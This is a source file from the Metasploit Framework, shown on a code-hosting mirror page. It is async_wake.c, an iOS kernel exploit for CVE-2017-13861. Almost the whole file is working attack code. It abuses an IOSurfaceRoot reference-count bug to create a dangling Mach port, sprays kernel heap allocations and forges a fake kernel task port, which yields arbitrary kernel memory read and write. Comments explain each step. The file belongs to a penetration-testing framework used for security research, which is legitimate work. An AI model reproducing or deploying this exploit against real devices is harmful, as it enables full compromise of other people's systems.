CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/async_wake.c
Views: 11779
1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4
#include <unistd.h>
5
6
#include <mach/mach.h>
7
#include <mach-o/loader.h>
8
9
#include <pthread.h>
10
11
#include <CoreFoundation/CoreFoundation.h>
12
13
#include "async_wake.h"
14
#include "koffsets.h"
15
#include "kernel_utils.h"
16
#include "kmem.h"
17
#include "kutils.h"
18
#include "early_kalloc.h"
19
#include "find_port.h"
20
21
#include "common.h"
22
23
#ifdef __OBJC__
24
#include <Foundation/Foundation.h>
25
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)
26
#else
27
#include <CoreFoundation/CoreFoundation.h>
28
extern void NSLog(CFStringRef, ...);
29
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
30
#endif
31
32
// various prototypes and structure definitions for missing iOS headers:
33
34
kern_return_t mach_vm_read(
35
vm_map_t target_task,
36
mach_vm_address_t address,
37
mach_vm_size_t size,
38
vm_offset_t* data,
39
mach_msg_type_number_t* dataCnt);
40
41
/****** IOKit/IOKitLib.h *****/
42
typedef mach_port_t io_service_t;
43
typedef mach_port_t io_connect_t;
44
45
extern const mach_port_t kIOMasterPortDefault;
46
#define IO_OBJECT_NULL (0)
47
48
kern_return_t
49
IOConnectCallAsyncMethod(
50
mach_port_t connection,
51
uint32_t selector,
52
mach_port_t wakePort,
53
uint64_t* reference,
54
uint32_t referenceCnt,
55
const uint64_t* input,
56
uint32_t inputCnt,
57
const void* inputStruct,
58
size_t inputStructCnt,
59
uint64_t* output,
60
uint32_t* outputCnt,
61
void* outputStruct,
62
size_t* outputStructCntP);
63
64
kern_return_t
65
IOConnectCallMethod(
66
mach_port_t connection,
67
uint32_t selector,
68
const uint64_t* input,
69
uint32_t inputCnt,
70
const void* inputStruct,
71
size_t inputStructCnt,
72
uint64_t* output,
73
uint32_t* outputCnt,
74
void* outputStruct,
75
size_t* outputStructCntP);
76
77
io_service_t
78
IOServiceGetMatchingService(
79
mach_port_t _masterPort,
80
CFDictionaryRef matching);
81
82
CFMutableDictionaryRef
83
IOServiceMatching(
84
const char* name);
85
86
kern_return_t
87
IOServiceOpen(
88
io_service_t service,
89
task_port_t owningTask,
90
uint32_t type,
91
io_connect_t* connect);
92
93
/******** end extra headers ***************/
94
95
mach_port_t user_client = MACH_PORT_NULL;
96
97
// make_dangling will drop an extra reference on port
98
// this is the actual bug:
99
void make_dangling(mach_port_t port)
100
{
101
kern_return_t err;
102
103
uint64_t inputScalar[16];
104
uint32_t inputScalarCnt = 0;
105
106
char inputStruct[4096];
107
size_t inputStructCnt = 0x18;
108
109
uint64_t* ivals = (uint64_t*)inputStruct;
110
ivals[0] = 1;
111
ivals[1] = 2;
112
ivals[2] = 3;
113
114
uint64_t outputScalar[16];
115
uint32_t outputScalarCnt = 0;
116
117
char outputStruct[4096];
118
size_t outputStructCnt = 0;
119
120
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
121
122
uint64_t reference[8] = { 0 };
123
uint32_t referenceCnt = 1;
124
125
for (int i = 0; i < 2; i++) {
126
err = IOConnectCallAsyncMethod(
127
user_client,
128
17, // s_set_surface_notify
129
port,
130
reference,
131
referenceCnt,
132
inputScalar,
133
inputScalarCnt,
134
inputStruct,
135
inputStructCnt,
136
outputScalar,
137
&outputScalarCnt,
138
outputStruct,
139
&outputStructCnt);
140
141
LOG("%x", err);
142
};
143
144
err = IOConnectCallMethod(
145
user_client,
146
18, // s_remove_surface_notify
147
inputScalar,
148
inputScalarCnt,
149
inputStruct,
150
inputStructCnt,
151
outputScalar,
152
&outputScalarCnt,
153
outputStruct,
154
&outputStructCnt);
155
156
LOG("%x", err);
157
}
158
159
static bool prepare_user_client()
160
{
161
kern_return_t err;
162
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
163
164
if (service == IO_OBJECT_NULL) {
165
LOG("unable to find service");
166
return false;
167
}
168
169
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
170
if (err != KERN_SUCCESS) {
171
LOG("unable to get user client connection");
172
return false;
173
}
174
175
LOG("got user client: 0x%x", user_client);
176
return true;
177
}
178
179
mach_port_t* prepare_ports(int n_ports)
180
{
181
mach_port_t* ports = malloc(n_ports * sizeof(mach_port_t));
182
for (int i = 0; i < n_ports; i++) {
183
kern_return_t err;
184
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
185
if (err != KERN_SUCCESS) {
186
for (int j = 0; j < i; j++) {
187
mach_port_deallocate(mach_task_self(), ports[j]);
188
}
189
free(ports);
190
return NULL;
191
}
192
}
193
return ports;
194
}
195
196
void free_ports(mach_port_t* ports, int n_ports)
197
{
198
for (int i = 0; i < n_ports; i++) {
199
mach_port_t port = ports[i];
200
if (port == MACH_PORT_NULL) {
201
continue;
202
}
203
204
mach_port_destroy(mach_task_self(), port);
205
}
206
}
207
208
struct simple_msg {
209
mach_msg_header_t hdr;
210
char buf[0];
211
};
212
213
mach_port_t send_kalloc_message(uint8_t* replacer_message_body, uint32_t replacer_body_size)
214
{
215
// allocate a port to send the messages to
216
mach_port_t q = MACH_PORT_NULL;
217
kern_return_t err;
218
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
219
if (err != KERN_SUCCESS) {
220
LOG("failed to allocate port");
221
return MACH_PORT_NULL;
222
}
223
224
mach_port_limits_t limits = { 0 };
225
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
226
err = mach_port_set_attributes(mach_task_self(),
227
q,
228
MACH_PORT_LIMITS_INFO,
229
(mach_port_info_t)&limits,
230
MACH_PORT_LIMITS_INFO_COUNT);
231
if (err != KERN_SUCCESS) {
232
LOG("failed to increase queue limit");
233
return MACH_PORT_NULL;
234
}
235
236
mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
237
struct simple_msg* msg = malloc(msg_size);
238
memset(msg, 0, sizeof(struct simple_msg));
239
memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
240
241
for (int i = 0; i < 256; i++) { // was MACH_PORT_QLIMIT_LARGE
242
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
243
msg->hdr.msgh_size = msg_size;
244
msg->hdr.msgh_remote_port = q;
245
msg->hdr.msgh_local_port = MACH_PORT_NULL;
246
msg->hdr.msgh_id = 0x41414142;
247
248
err = mach_msg(&msg->hdr,
249
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
250
msg_size,
251
0,
252
MACH_PORT_NULL,
253
MACH_MSG_TIMEOUT_NONE,
254
MACH_PORT_NULL);
255
256
if (err != KERN_SUCCESS) {
257
LOG("failed to send message %x (%d): %s", err, i, mach_error_string(err));
258
return MACH_PORT_NULL;
259
}
260
}
261
262
return q;
263
}
264
265
/*
266
for the given mach message size, how big will the ipc_kmsg structure be?
267
268
This is defined in ipc_kmsg_alloc, and it's quite complicated to work it out!
269
270
The size is overallocated so that if the message was sent from a 32-bit process
271
they can expand out the 32-bit ool descriptors to the kernel's 64-bit ones, which
272
means that for each descriptor they would need an extra 4 bytes of space for the
273
larger pointer. Except at this point they have no idea what's in the message
274
so they assume the worst case for all messages. This leads to approximately a 30%
275
overhead in the allocation size.
276
277
The allocated size also contains space for the maximum trailer plus the ipc_kmsg header.
278
279
When the message is actually written into this buffer it's aligned to the end
280
*/
281
282
/*
283
build a fake task port object to get an arbitrary read
284
285
I am basing this on the techniques used in Yalu 10.2 released by
286
@qwertyoruiopz and @marcograss (and documented by Johnathan Levin
287
in *OS Internals Volume III)
288
289
There are a few difference here. We have a kernel memory disclosure bug so
290
we know the address the dangling port pointer points to. This means we don't need
291
to point the task to userspace to get a "what+where" primitive since we can just
292
put whatever recursive structure we require in the object which will replace
293
the free'd port.
294
295
We can also leverage the fact that we have a dangling mach port pointer
296
to also write to a small area of the dangling port (via mach_port_set_context)
297
298
If we build the replacement object (with the fake struct task)
299
correctly we can set it up such that by calling mach_port_set_context we can control
300
where the arbitrary read will read from.
301
302
this same method is used again a second time once the arbitrary read works so that the vm_map
303
and receiver can be set correctly turning this into a fake kernel task port.
304
*/
305
306
static uint32_t IO_BITS_ACTIVE = 0x80000000;
307
static uint32_t IKOT_TASK = 2;
308
static uint32_t IKOT_NONE = 0;
309
310
uint64_t second_port_initial_context = 0x1024204110244201;
311
312
uint8_t* build_message_payload(uint64_t dangling_port_address, uint32_t message_body_size, uint32_t message_body_offset, uint64_t vm_map, uint64_t receiver, uint64_t** context_ptr)
313
{
314
uint8_t* body = malloc(message_body_size);
315
memset(body, 0, message_body_size);
316
317
uint32_t port_page_offset = dangling_port_address & 0xfff;
318
319
// structure required for the first fake port:
320
uint8_t* fake_port = body + (port_page_offset - message_body_offset);
321
322
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS)) = IO_BITS_ACTIVE | IKOT_TASK;
323
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES)) = 0xf00d; // leak references
324
*(uint32_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS)) = 0xf00d; // leak srights
325
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)) = receiver;
326
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT)) = 0x123456789abcdef;
327
328
*context_ptr = (uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT));
329
330
// set the kobject pointer such that task->bsd_info reads from ip_context:
331
int fake_task_offset = koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT) - koffset(KSTRUCT_OFFSET_TASK_BSD_INFO);
332
333
uint64_t fake_task_address = dangling_port_address + fake_task_offset;
334
*(uint64_t*)(fake_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) = fake_task_address;
335
336
// when we looked for a port to make dangling we made sure it was correctly positioned on the page such that when we set the fake task
337
// pointer up there it's actually all in the buffer so we can also set the reference count to leak it, let's double check that!
338
339
if (fake_port + fake_task_offset < body) {
340
LOG("the maths is wrong somewhere, fake task doesn't fit in message");
341
return NULL;
342
}
343
344
uint8_t* fake_task = fake_port + fake_task_offset;
345
346
// set the ref_count field of the fake task:
347
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
348
349
// make sure the task is active
350
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
351
352
// set the vm_map of the fake task:
353
*(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
354
355
// set the task lock type of the fake task's lock:
356
*(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
357
return body;
358
}
359
360
/*
361
* the first tpf0 we get still hangs of the dangling port and is backed by a type-confused ipc_kmsg buffer
362
*
363
* use that tfp0 to build a safer one such that we can safely free everything this process created and exit
364
* without leaking memory
365
*/
366
mach_port_t build_safe_fake_tfp0(uint64_t vm_map, uint64_t space)
367
{
368
kern_return_t err;
369
370
mach_port_t tfp0 = MACH_PORT_NULL;
371
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &tfp0);
372
if (err != KERN_SUCCESS) {
373
LOG("unable to allocate port");
374
}
375
376
// build a fake struct task for the kernel task:
377
//uint64_t fake_kernel_task_kaddr = kmem_alloc_wired(0x4000);
378
uint64_t fake_kernel_task_kaddr = early_kalloc(0x1000);
379
LOG("fake_kernel_task_kaddr: %llx", fake_kernel_task_kaddr);
380
381
void* fake_kernel_task = malloc(0x1000);
382
memset(fake_kernel_task, 0, 0x1000);
383
*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
384
*(uint32_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
385
*(uint64_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
386
*(uint8_t*)(fake_kernel_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
387
kmemcpy(fake_kernel_task_kaddr, (uint64_t)fake_kernel_task, 0x1000);
388
free(fake_kernel_task);
389
390
uint32_t fake_task_refs = ReadKernel32(fake_kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT));
391
LOG("read fake_task_refs: %x", fake_task_refs);
392
if (fake_task_refs != 0xd00d) {
393
LOG("read back value didn't match...");
394
}
395
396
// now make the changes to the port object to make it a task port:
397
uint64_t port_kaddr = find_port_address(tfp0, MACH_MSG_TYPE_MAKE_SEND);
398
399
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK);
400
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d);
401
WriteKernel32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d);
402
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space);
403
WriteKernel64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_kernel_task_kaddr);
404
405
// swap our receive right for a send right:
406
uint64_t task_port_addr = task_self_addr();
407
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
408
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
409
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
410
411
uint32_t port_index = tfp0 >> 8;
412
const int sizeof_ipc_entry_t = 0x18;
413
uint32_t bits = ReadKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry
414
415
#define IE_BITS_SEND (1 << 16)
416
#define IE_BITS_RECEIVE (1 << 17)
417
418
bits &= (~IE_BITS_RECEIVE);
419
bits |= IE_BITS_SEND;
420
421
WriteKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits);
422
423
LOG("about to test new tfp0");
424
425
vm_offset_t data_out = 0;
426
mach_msg_type_number_t out_size = 0;
427
err = mach_vm_read(tfp0, vm_map, 0x40, &data_out, &out_size);
428
if (err != KERN_SUCCESS) {
429
LOG("mach_vm_read failed: %x %s", err, mach_error_string(err));
430
return MACH_PORT_NULL;
431
}
432
433
LOG("kernel read via second tfp0 port worked?");
434
LOG("0x%016llx", *(uint64_t*)data_out);
435
LOG("0x%016llx", *(uint64_t*)(data_out + 8));
436
LOG("0x%016llx", *(uint64_t*)(data_out + 0x10));
437
LOG("0x%016llx", *(uint64_t*)(data_out + 0x18));
438
439
return tfp0;
440
}
441
442
// task_self_addr points to the struct ipc_port for our task port
443
uint64_t find_kernel_vm_map(uint64_t task_self_addr)
444
{
445
uint64_t struct_task = ReadKernel64(task_self_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
446
447
while (struct_task != 0) {
448
uint64_t bsd_info = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
449
450
uint32_t pid = ReadKernel32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
451
452
if (pid == 0) {
453
uint64_t vm_map = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));
454
return vm_map;
455
}
456
457
struct_task = ReadKernel64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV));
458
}
459
460
LOG("unable to find kernel task...");
461
return 0;
462
}
463
464
const uint64_t context_magic = 0x1214161800000000; // a random constant
465
const uint64_t initial_context = 0x1020304015253545; // another random constant
466
467
kern_return_t async_wake(mach_port_t* tfp0)
468
{
469
// offsets are required before we get r/w:
470
offsets_init();
471
472
kern_return_t err;
473
474
uint32_t MAX_KERNEL_TRAILER_SIZE = 0x44;
475
uint32_t replacer_body_size = message_size_for_kalloc_size(4096) - sizeof(mach_msg_header_t);
476
uint32_t message_body_offset = 0x1000 - replacer_body_size - MAX_KERNEL_TRAILER_SIZE;
477
478
LOG("message size for kalloc.4096: %d", message_size_for_kalloc_size(4096));
479
480
if (!prepare_user_client()) {
481
return KERN_FAILURE;
482
}
483
484
uint64_t task_self = task_self_addr();
485
if (task_self == 0) {
486
LOG("unable to disclose address of our task port");
487
return KERN_FAILURE;
488
}
489
LOG("our task port is at 0x%llx", task_self);
490
491
int n_pre_ports = 100000; //8000
492
mach_port_t* pre_ports = prepare_ports(n_pre_ports);
493
if (pre_ports == NULL) {
494
return KERN_FAILURE;
495
}
496
497
// make a bunch of smaller allocations in a different zone which can be collected later:
498
uint32_t smaller_body_size = message_size_for_kalloc_size(1024) - sizeof(mach_msg_header_t);
499
500
uint8_t* smaller_body = malloc(smaller_body_size);
501
memset(smaller_body, 'C', smaller_body_size);
502
503
const int n_smaller_ports = 600; // 150 MB
504
mach_port_t smaller_ports[n_smaller_ports];
505
for (int i = 0; i < n_smaller_ports; i++) {
506
smaller_ports[i] = send_kalloc_message(smaller_body, smaller_body_size);
507
if (smaller_ports[i] == MACH_PORT_NULL) {
508
return KERN_FAILURE;
509
}
510
}
511
512
// now find a suitable port
513
// we'll replace the port with an ipc_kmsg buffer containing controlled data, but we don't
514
// completely control all the data:
515
// specifically we're targetting kalloc.4096 but the message body will only span
516
// xxx448 -> xxxfbc so we want to make sure the port we target is within that range
517
// actually, since we're also putting a fake task struct here and want
518
// the task's bsd_info pointer to overlap with the ip_context field we need a stricter range
519
520
int ports_to_test = 100;
521
int base = n_pre_ports - 1000;
522
523
mach_port_t first_port = MACH_PORT_NULL;
524
uint64_t first_port_address = 0;
525
526
for (int i = 0; i < ports_to_test; i++) {
527
mach_port_t candidate_port = pre_ports[base + i];
528
uint64_t candidate_address = find_port_address(candidate_port, MACH_MSG_TYPE_MAKE_SEND);
529
uint64_t page_offset = candidate_address & 0xfff;
530
if (page_offset > 0xa00 && page_offset < 0xe80) { // this range could be wider but there's no need
531
LOG("found target port with suitable allocation page offset: 0x%016llx", candidate_address);
532
pre_ports[base + i] = MACH_PORT_NULL;
533
first_port = candidate_port;
534
first_port_address = candidate_address;
535
break;
536
}
537
}
538
539
if (first_port == MACH_PORT_NULL) {
540
LOG("unable to find a candidate port with a suitable page offset");
541
return KERN_FAILURE;
542
}
543
544
uint64_t* context_ptr = NULL;
545
uint8_t* replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, 0, 0, &context_ptr);
546
if (replacer_message_body == NULL) {
547
return KERN_FAILURE;
548
}
549
LOG("replacer_body_size: 0x%x", replacer_body_size);
550
LOG("message_body_offset: 0x%x", message_body_offset);
551
552
make_dangling(first_port);
553
554
free_ports(pre_ports, n_pre_ports);
555
556
// free the smaller ports, they will get gc'd later:
557
for (int i = 0; i < n_smaller_ports; i++) {
558
mach_port_destroy(mach_task_self(), smaller_ports[i]);
559
}
560
561
// now try to get that zone collected and reallocated as something controllable (kalloc.4096):
562
563
const int replacer_ports_limit = 200; // about 200 MB
564
mach_port_t replacer_ports[replacer_ports_limit];
565
memset(replacer_ports, 0, sizeof(replacer_ports));
566
uint32_t i;
567
for (i = 0; i < replacer_ports_limit; i++) {
568
uint64_t context_val = (context_magic) | i;
569
*context_ptr = context_val;
570
replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
571
if (replacer_ports[i] == MACH_PORT_NULL) {
572
return KERN_FAILURE;
573
}
574
575
// we want the GC to actually finish, so go slow...
576
pthread_yield_np();
577
usleep(10000);
578
LOG("%d", i);
579
}
580
581
// find out which replacer port it was
582
mach_port_context_t replacer_port_number = 0;
583
err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
584
if (err != KERN_SUCCESS) {
585
LOG("unable to get context: %d %s", err, mach_error_string(err));
586
return KERN_FAILURE;
587
}
588
replacer_port_number &= 0xffffffff;
589
if (replacer_port_number >= (uint64_t)replacer_ports_limit) {
590
LOG("suspicious context value, something's wrong %lx", replacer_port_number);
591
return KERN_FAILURE;
592
}
593
594
LOG("got replaced with replacer port %ld", replacer_port_number);
595
596
prepare_rk_via_kmem_read_port(first_port);
597
598
uint64_t kernel_vm_map = find_kernel_vm_map(task_self);
599
if (kernel_vm_map == 0) {
600
return KERN_FAILURE;
601
}
602
LOG("found kernel vm_map: 0x%llx", kernel_vm_map);
603
604
// now free first replacer and put a fake kernel task port there
605
// we need to do this becase the first time around we don't know the address
606
// of ipc_space_kernel which means we can't fake a port owned by the kernel
607
free(replacer_message_body);
608
replacer_message_body = build_message_payload(first_port_address, replacer_body_size, message_body_offset, kernel_vm_map, ipc_space_kernel(), &context_ptr);
609
if (replacer_message_body == NULL) {
610
return KERN_FAILURE;
611
}
612
613
// free the first replacer
614
mach_port_t replacer_port = replacer_ports[replacer_port_number];
615
replacer_ports[replacer_port_number] = MACH_PORT_NULL;
616
mach_port_destroy(mach_task_self(), replacer_port);
617
618
const int n_second_replacer_ports = 10;
619
mach_port_t second_replacer_ports[n_second_replacer_ports];
620
621
for (int i = 0; i < n_second_replacer_ports; i++) {
622
*context_ptr = i;
623
second_replacer_ports[i] = send_kalloc_message(replacer_message_body, replacer_body_size);
624
if (second_replacer_ports[i] == MACH_PORT_NULL) {
625
return KERN_FAILURE;
626
}
627
}
628
629
// hopefully that worked the second time too!
630
// check the context:
631
632
replacer_port_number = 0;
633
err = mach_port_get_context(mach_task_self(), first_port, &replacer_port_number);
634
if (err != KERN_SUCCESS) {
635
LOG("unable to get context: %d %s", err, mach_error_string(err));
636
return KERN_FAILURE;
637
}
638
639
replacer_port_number &= 0xffffffff;
640
if (replacer_port_number >= (uint64_t)n_second_replacer_ports) {
641
LOG("suspicious context value, something's wrong %lx", replacer_port_number);
642
return KERN_FAILURE;
643
}
644
645
LOG("second time got replaced with replacer port %ld", replacer_port_number);
646
647
// clear up the original replacer ports:
648
for (int i = 0; i < replacer_ports_limit; i++) {
649
mach_port_destroy(mach_task_self(), replacer_ports[i]);
650
}
651
652
// then clear up the second replacer ports (apart from the one in use)
653
mach_port_t second_replacement_port = second_replacer_ports[replacer_port_number];
654
second_replacer_ports[replacer_port_number] = MACH_PORT_NULL;
655
for (int i = 0; i < n_second_replacer_ports; i++) {
656
mach_port_destroy(mach_task_self(), second_replacer_ports[i]);
657
}
658
659
LOG("will try to read from second port (fake kernel)");
660
// try to read some kernel memory using the second port:
661
vm_offset_t data_out = 0;
662
mach_msg_type_number_t out_size = 0;
663
err = mach_vm_read(first_port, kernel_vm_map, 0x40, &data_out, &out_size);
664
if (err != KERN_SUCCESS) {
665
LOG("mach_vm_read failed: %x %s", err, mach_error_string(err));
666
return KERN_FAILURE;
667
}
668
669
LOG("kernel read via fake kernel task port worked?");
670
LOG("0x%016llx", *(uint64_t*)data_out);
671
LOG("0x%016llx", *(uint64_t*)(data_out + 8));
672
LOG("0x%016llx", *(uint64_t*)(data_out + 0x10));
673
LOG("0x%016llx", *(uint64_t*)(data_out + 0x18));
674
675
prepare_rwk_via_tfp0(first_port);
676
LOG("about to build safer tfp0");
677
678
//early_kalloc(0x10000);
679
//return 0;
680
681
mach_port_t safer_tfp0 = build_safe_fake_tfp0(kernel_vm_map, ipc_space_kernel());
682
prepare_rwk_via_tfp0(safer_tfp0);
683
684
LOG("built safer tfp0");
685
LOG("about to clear up");
686
687
// can now clean everything up
688
WriteKernel32(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_NONE);
689
WriteKernel64(first_port_address + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), 0);
690
691
// first port will soon point to freed memory, so neuter it:
692
uint64_t task_port_addr = task_self_addr();
693
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
694
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
695
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
696
697
uint32_t port_index = first_port >> 8;
698
const int sizeof_ipc_entry_t = 0x18;
699
700
// remove all rights
701
WriteKernel32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
702
703
// clear the ipc_port port too
704
WriteKernel64(is_table + (port_index * sizeof_ipc_entry_t), 0);
705
706
mach_port_destroy(mach_task_self(), second_replacement_port);
707
LOG("cleared up");
708
*tfp0 = safer_tfp0;
709
return KERN_SUCCESS;
710
}
711
712
713